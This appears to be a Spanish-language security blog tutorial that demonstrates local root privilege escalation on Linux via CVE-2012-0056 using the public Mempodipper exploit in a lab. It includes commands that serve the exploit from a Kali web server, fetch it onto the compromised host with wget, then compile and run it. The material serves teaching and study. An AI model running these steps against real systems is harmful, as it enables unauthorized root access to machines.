Escalar Privilegios Localmente en un Sistema Linux utilizando Mempodipper

  • Posted on: 11 August 2016
  • By: ReYDeS

La descripción del CVE-2012-0056 indica la función “mem_write” en los Kernel de Linux anteriores a 3.2.2, cuando ASLR está deshabilitado, no verifica adecuadamente los permisos cuando escribe hacia "/proc/<pid>/mem”, lo cual permite a usuarios locales ganar privilegios mediante la modificación de procesos en memoria, como es demostrado por Mempodipper.

Mempodipper es un exploit para el CVE-2012-0056. “/proc/<pid>/mem” es una interfaz para leer y escribir directamente procesos en memoria, buscando alrededor con la mismas direcciones como espacio de memoria virtual del proceso. En 2.6.39, las protecciones contra acceso no autorizado hacia “/proc/<pid>/mem” fueron considerados suficientes, por lo cual se eliminó #ifdef quien prevenía soporte de escritura para escribir hacia procesos de memoria arbitrarios. Cualquiera con los permisos correctos podría escribir hacia procesos de memoria. Resultando de hecho, en una pobre comprobación de permisos. Lo cual significa, todos los Kernels de Linux mayores o iguales a 2.6.39 son vulnerables hasta ser actualizados.

Para la siguiente demostración se utiliza una máquina Ubuntu Server 11.10 x86, en el cual ya se tiene acceso shell de comandos con un usuario no privilegiado.

Descargar el archivo conteniendo el “exploit”, por ejemplo desde el sitio web de Exploit-DB. O ubicarla en la copia local de Exploit-DB incluida en Kali Linux.

Copiar el archivo conteniendo el “exploit” de nombre “18411.c”; nombre de archivo asignado por Exploit-DB; hacia el directorio web raíz de Kali Linux.

# cp 18411.c /var/www/html/

En el sistema Linux comprometido se descarga el archivo conteniendo el “exploit” desde el servidor web en Kali Linux.

$ wget http:// 192.168. 0.46/18411.c

Se procede a compilar el “exploit”. La opción "-o" de gcc define el nombre del archivo generado por la compilación.

$ gcc -o 18411 18411.c

Se ejecuta el archivo conteniendo el código de explotación.

$ ./18411

La vulnerabilidad en el Kernel de este sistema Linux ha sido satisfactoriamente explotada, proporcionando privilegios de “root” sobre la máquina. Esto permite tener su control absoluto.

Fuentes:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-0056
https://git.zx2c4.com/CVE-2012-0056/about/
https://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
http://old-releases.ubuntu.com/releases/
https://coderwall.com/p/3n6xka/fix-apt-on-old-unsupported-ubuntu-releases
https://virtualboxes.org/images/ubuntu-server/

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Webinar Informática Forense